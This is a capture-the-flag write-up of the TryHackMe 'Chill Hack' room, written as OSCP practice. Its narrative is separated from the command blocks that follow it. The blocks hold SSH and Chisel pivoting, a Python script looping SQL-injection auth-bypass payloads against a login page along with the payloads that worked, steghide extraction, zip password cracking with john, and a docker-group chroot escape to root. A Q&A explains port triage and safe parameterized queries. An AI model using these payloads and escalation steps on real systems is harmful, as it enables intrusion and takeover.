For some reasons the above shell doesn't work so I use this instead:
After that:
On our machine:
Then echo the key on the victim account
2. Now the hard part
Now that's where the good about NoBodyAtAll's writeup ended. Unfortunately, the later part of his video, a lot of it were assumption instead of black box pentesting, so I will now reference Musyoka's writeup here.
I uploaded and run a linpeas.sh report for in this case:
The port worth noticing here are 9001. Why, well, you have to check the Q&A [1],[2],[3],[4].
Now we pivot:
Voila~
But Musyokaian mentioned about chisel so I look into it, turns out there are much more to it than I know about. Let's begin:
When to use SSH vs. Chisel
Condition
Use SSH Port-Forward
Use Chisel Reverse Tunnel
You have SSH access (port 22 open)
✅ almost always simpler
❌ overkill
SSH is firewalled/disabled but outbound TCP works
❌ no SSH connection
✅ Chisel “pivots” over any TCP port
You need a SOCKS proxy for many ports
🔸 can do ssh -D SOCKS, but limited
🔸 Chisel only does static forwards
You want minimal setup and built-in tools
✅ SSH (ssh -L)
❌ extra binary to upload/use
On Kali:
--port 9003 → listen for Chisel clients on 9003
--reverse → allow clients to request reverse forwards
Keep this running.
On the victim's machine:
Bam!
Why am I doing this, simple, I want OSCP, and I'm not a genius, I will take every chance to practice.
Enough of tunneling.
By enumerating the /var/www/files and /var/www/ directory, I can see that there're a suspicious account.php, let's check it out:
A secure php for login should consist of 2 things: bindParam() and prepare() other wise it's just an invitation for SQLi. In this situation, this definitely is vulnerable to SQLi. [4]
Now, I could just straight up go for sqlmap but, OffSec doesn't allow the usage of sqlmap, well, I will use the code that Musyokaian used then:
Nifty!
Looking at the hackers.php file we get a hint and a picture the first thought that came in mind was stenography. So I download the image and steghide info it
I then extract it.
The file backup.zip was password protected so I have to use zip2john:
Command I used:
Now extract the backup.zip I got backup.php looking into it I got:
Decoding the password, I got: !d0ntKn0wmYp@ssw0rd
Now, try it out with each user we have anurodh in docker group:
From GTFObins I know that a user can privesc to root if they are in the docker group, so I did just that:
This is the hardest, most complicated room up to the time I write this writeup - on par with El Bandito 2, which owned me a rematch.
Q&A:
[1]
Base on this Linpeas.sh report, how do I know that 9001 deserved to be look into ?
You spot port 9001 as “interesting” for three quick reasons:
It’s only bound to localhost
In LinPEAS you see:
Ports like 22 (SSH) or 80 (HTTP) are expected on 0.0.0.0, but anything listening on 127.0.0.1 is a service the box intends only for local use—often an internal API or admin interface you’re not supposed to see from the outside.
It’s non-standard
Common services have standard ports (MySQL on 3306, FTP on 21, DNS on 53, SSH on 22). Seeing 9001—a high, arbitrary number—indicates a custom application, not a default system service. Custom apps are prime targets for logic flaws or authentication bypasses.
It hints at a pivot point
Because it’s local‐only, you can’t reach it directly over the network. That tells you immediately:
You need to tunnel or pivot (e.g. with an SSH -L 9001:127.0.0.1:9001 forward, or a SOCKS proxy)
Once tunneled, you can connect your browser or tool to localhost:9001 as if you were on the target host
In short, any localhost-only, non-standard port is a red flag for post-exploitation enumeration. It almost always “deserves a look” because it’s both unusual and inaccessible without a pivot—which is precisely the challenge ChillHack wanted you to spot.
[2] Why not 53, 3306 and 33060?
Those other ports are definitely worth noting —but they’re “common, known-quantity” services, whereas 9001 screams “custom app” and “pivot here.” Concretely:
Port 53 (127.0.0.53:53)
That’s your local DNS stub resolver (systemd-resolved).
It’s meant only for name lookups and won’t give you a web UI or shell.
It’s tightly locked down—no obvious way to turn a DNS lookup service into code execution without a CVE you haven’t found.
Port 3306 (127.0.0.1:3306) and 33060 (127.0.0.1:33060)
Those belong to MySQL / MariaDB (the classic SQL port and the X-Protocol port).
They require valid database credentials—LinPEAS didn’t show any leaked creds for the DB user.
You could try brute-forcing or guessing a user/pass, but that’s time-consuming and noisy.
In a CTF or real engagement, custom apps (like the Customer Portal on 9001) are often far lower hanging fruit than cracking a MySQL instance.
In short
Standard services → MySQL, DNS, SSH: you need valid creds or a known exploit, and they’re not custom to the challenge.
Custom, localhost-only port (9001) → Almost by definition it’s an application the dev wrote for this box. It’s where the “fun” (SQLi, stego, backup.zip) lives.
That’s why you chase 9001 first—because it’s the obvious back-door to the challenge payloads, without needing extra creds or complex exploits.
[3] Thank you, what about chisel, docker, ... and other ports?
Below is an extension to that table showing how to treat ports and services you commonly run into during post-exploitation, including pivot tools like Chisel, container engines like Docker, and other “sticky” targets:
Port/Service
Action
Why / Notes
Docker socket
🔍 Enumerate
Not a TCP port but a Unix socket (/var/run/docker.sock). If your user is in docker group, you can mount the host FS or escape to root.
Chisel / Frp / Meshcat
🔍 Pivot
Often set up on high TCP ports (e.g. 8000–9000, 4444) to tunnel traffic. If you see a unknown listener in that range, try chisel client or your equivalent back-connect.
SOCKS proxy (SSH -D)
🔍 Pivot
SSH’s dynamic port (-D 1080) gives you a SOCKS proxy. Test curl --socks5-hostname localhost:1080 http://internal
RDP (3389)
⚠️ Windows?
On a Linux box you’ll rarely see it—but when you do (Wine, xrdp), brute or user-pass it for a GUI shell.
SMB (445, 139)
⚠️ File shares
Test smbclient -L //target for shares you can mount—sometimes C$.
RPC (111)
⚠️ Old NFS
Can lead to NFS mounts if misconfigured; not common in CTF but worth noting on Linux.
Jupyter Notebook (8888)
🔍 Data & code
Custom Python REPLs exposed on 127.0.0.1—great pivot once tunneled.
ElasticSearch (9200)
🔍 REST API
Often unprotected; you can dump indices, or even write scripts to RCE via script plugins.
Kafka (9092)
⚠️ Messaging
Rare in simple CTFs—needs creds or listener exploit.
Redis (6379)
⚠️ In-memory DB
If no requirepass, you can write .rdb or use CONFIG SET for code execution.
Memcached (11211)
⚠️ Cache
Can be abused for memcache injection or pwn scripts if unauthenticated.
VNC (5900+)
⚠️ GUI
Try connecting with no password; sometimes a “view only” server is misconfigured.
How to spot these in LinPEAS / nmap
High port numbers (>=1024) often mean custom tools—try connecting with nc or your browser.
Service names in netstat -tulpn (e.g. chisel, node, java, python) hint at pivot/listener programs.
Docker group membership + presence of /var/run/docker.sock → immediately plan a container escape.
If you see LISTEN on a socket path under /var/run/, note it—not just TCP ports.
Quick tips for pivot tools
Chisel defaults:
Server listens on :8000 by default; clients connect with chisel client host:8000 R:9001:127.0.0.1:9001.
Frp (Fast Reverse Proxy) often uses 7000, 7500 for control and high ports for tunnels.
Meshcat / ngrok /etc. use random high ports when self-hosted. If you spot a process named ngrok in ps, look for its port.
Whenever you hit an unfamiliar high-port listener, think:
“Is this a custom app or a pivot tool?”
— and probe it as you would any web service (HTTP GET, nc, or use the specific client).
[4] Musyokaian said that account.php is vulnerable to SQLi, how can I spot a vulnerable SQLi source code?
No placeholders, no binding = no protection
A safe version would look like:
Any time you see raw PHP variables being glued straight into a SQL string, you’ve got SQL-injection territory. In your screenshot the telltale bit is:
[EXTRA] What about other programming language? I vaguely remember python and other programming languages have the same errors. Can you make me a list of comparison for each popular programming languages?
Here’s how SQL‐injection looks and is prevented across several popular languages/drivers. Each snippet shows the “❌ vulnerable” way (string‐concatenation) and the “✅ safe” way (parameterized queries or ORM‐style bindings).
PHP (PDO)
❌ Vulnerable
✅ Safe (Parameterized)
Python (psycopg2 / PostgreSQL)
❌ Vulnerable
✅ Safe (Parameterized)
Python (sqlite3)
❌ Vulnerable
✅ Safe (Parameterized)
Java (JDBC)
❌ Vulnerable
✅ Safe (Parameterized)
C# (.NET)
❌ Vulnerable
✅ Safe (Parameterized)
Node.js (mysql)
❌ Vulnerable
✅ Safe (Parameterized)
Ruby (ActiveRecord)
❌ Vulnerable
✅ Safe (Parameterized)
or
✅ Safe (Parameterized)
Go (database/sql)
❌ Vulnerable
✅ Safe (Parameterized)
(or use $1,$2 for Postgres drivers)
Key Takeaways
If you see "…'"+var+"'…" or back‐tick/template interpolation directly in SQL, assume injection risk.
Always use the driver’s placeholder syntax (?, %s, :name, @param, $1, etc.) plus a bind/execute API.
Many ORMs offer a higher-level abstraction (where(u: user)), but under the hood they still generate safe parameterized SQL—avoid any method that takes a raw string with concatenation.
By training yourself to spot string concatenations inside SQL calls, you’ll catch injection flaws no matter the language.
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa_apaar apaar@10.10.126.168
apaar@10.10.126.168's password:
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa_apaar apaar@10.10.126.168
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 12 Jun 2025 07:37:15 PM UTC
System load: 0.0 Processes: 172
Usage of /: 35.7% of 18.53GB Users logged in: 0
Memory usage: 55% IPv4 address for eth0: 10.10.126.168
Swap usage: 0%
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Sun Oct 4 14:05:57 2020 from 192.168.184.129
apaar@ip-10-10-126-168:~$
┌──(kali㉿kali)-[~]
└─$ ssh -L 9001:127.0.0.1:9001 -i id_rsa_apaar apaar@10.10.13.7
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 13 Jun 2025 04:16:39 PM UTC
System load: 0.0 Processes: 134
Usage of /: 34.6% of 18.53GB Users logged in: 1
Memory usage: 50% IPv4 address for eth0: 10.10.13.7
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jun 13 15:57:23 2025 from 10.11.135.134
apaar@ip-10-10-13-7:~$
apaar@ip-10-10-13-7:~$ ls -la /var/www/files
total 28
drwxr-xr-x 3 root root 4096 Oct 3 2020 .
drwxr-xr-x 4 root root 4096 Oct 3 2020 ..
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
apaar@ip-10-10-13-7:~$ ls -la /var/www/
total 16
drwxr-xr-x 4 root root 4096 Oct 3 2020 .
drwxr-xr-x 14 root root 4096 Oct 3 2020 ..
drwxr-xr-x 3 root root 4096 Oct 3 2020 files
drwxr-xr-x 8 root root 4096 Oct 3 2020 html
apaar@ip-10-10-13-7:~$ ls -a /var/www/
. .. files html
apaar@ip-10-10-13-7:~$ ls -a /var/www/files
. .. account.php hacker.php images index.php style.css
apaar@ip-10-10-13-7:~$
<?php
class Account
{
public function __construct($con)
{
$this->con = $con;
}
public function login($un,$pw)
{
$pw = hash("md5",$pw);
$query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
$query->execute();
if($query->rowCount() >= 1)
{
return true;
}?>
<h1 style="color:red";>Invalid username or password</h1>
<?php }
}
?>
~
#!/usr/bin/env python3
import requests
# read the Auth_Bypass word-list
with open("Auth Bypass.txt", "r") as file:
payloads = [x.strip() for x in file.readlines()]
for payload in payloads:
sess = requests.session()
data = {
"username": payload,
"password": "admin", # password can be anything
"submit" : "Submit"
}
validate = sess.post("http://127.0.0.1:9001/index.php", data=data)
# crude success check
if "Invalid username or password" in validate.text:
pass
else:
print("[+] Success!!")
print(f"[+] {payload}\n")
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ python3 exploit-simple-SQLi-payload.python
[+] Success!!
[+] admin' or '1'='1'#
[+] Success!!
[+] admin'or 1=1 or ''='
[+] Success!!
[+] admin' or 1=1#
[+] Success!!
[+] 1' or 1.e(1) or '1'='1
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$
steghide info steno.jpeg
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ steghide info steno.jpeg
"steno.jpeg":
format: jpeg
capacity: 3.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "backup.zip":
size: 750.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$
steghide extract -sf steno.jpeg
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ steghide extract -sf steno.jpeg
Enter passphrase:
wrote extracted data to "backup.zip".
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ unzip backup.zip
Archive: backup.zip
[backup.zip] source_code.php password:
skipping: source_code.php incorrect password
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ zip2john backup.zip > hashzip.txt
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 ts=2297 cs=2297 type=8
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ john hashzip.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word (backup.zip/source_code.php)
1g 0:00:00:00 DONE (2025-06-14 00:43) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s total90..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$
zip2john backup.zip > hashzip.txt
john hashzip.txt --wordlist=/usr/share/wordlists/rockyou.txt
apaar@ip-10-10-13-7:~$ ls /home
anurodh apaar aurick ubuntu
apaar@ip-10-10-13-7:~$ su anurodh
Password:
anurodh@ip-10-10-13-7:/home/apaar$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ip-10-10-13-7:/home/apaar$
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
anurodh@ip-10-10-13-7:/home/apaar$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@c163bfe1b61d:/# ls /root
proof.txt snap
root@c163bfe1b61d:/# cat /root/proof.txt
$query = $this->con->prepare(
"SELECT * FROM users
WHERE username = :user
AND password = :pass"
);
$query->bindParam(':user', $un);
$query->bindParam(':pass', $pw);
$query->execute();
// BAD: user input injected directly into the query string
$query = $this->con->prepare(
"SELECT * FROM users
WHERE username='$un'
AND password='$pw'" );
$sql = "SELECT * FROM users WHERE u='$user' AND p='$pass'";
$pdo->query($sql);
// 1) Prepare with placeholders
$stmt = $pdo->prepare("SELECT * FROM users WHERE u=:u AND p=:p");
// 2) Bind or pass values
$stmt->execute([':u'=>$user, ':p'=>$pass]);
# raw string interpolation – vulnerable!
cur.execute("SELECT * FROM users WHERE u='%s' AND p='%s'" % (user, pwd))
# parameterized execute
cur.execute(
"SELECT * FROM users WHERE u=%s AND p=%s",
(user, pwd)
)
# vulnerable
db.execute("INSERT INTO logs(msg) VALUES ('%s')" % msg)
# safe
db.execute("INSERT INTO logs(msg) VALUES (?)", (msg,))
// vulnerable
String sql = "SELECT * FROM users WHERE u='" + u + "' AND p='" + p + "'";
Statement stmt = conn.createStatement();
stmt.executeQuery(sql);
// safe
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE u=? AND p=?"
);
ps.setString(1, u);
ps.setString(2, p);
ResultSet rs = ps.executeQuery();
// vulnerable
var sql = $"SELECT * FROM users WHERE u='{user}' AND p='{pass}'";
var cmd = new SqlCommand(sql, conn);
// safe
var cmd = new SqlCommand(
"SELECT * FROM users WHERE u=@u AND p=@p",
conn
);
cmd.Parameters.AddWithValue("@u", user);
cmd.Parameters.AddWithValue("@p", pass);
// vulnerable
const sql = `SELECT * FROM users WHERE u='${user}' AND p='${pass}'`;
connection.query(sql, callback);
// safe
connection.query(
"SELECT * FROM users WHERE u=? AND p=?",
[user, pass],
callback
);
# vulnerable
User.where("u = '#{user}' AND p = '#{pass}'")
# safe
User.where(u: user, p: pass)
User.where("u = ? AND p = ?", user, pass)
// vulnerable
query := fmt.Sprintf("SELECT * FROM users WHERE u='%s' AND p='%s'", u, p)
db.Query(query)
// safe
rows, err := db.Query(
"SELECT * FROM users WHERE u=? AND p=?",
u, p,
)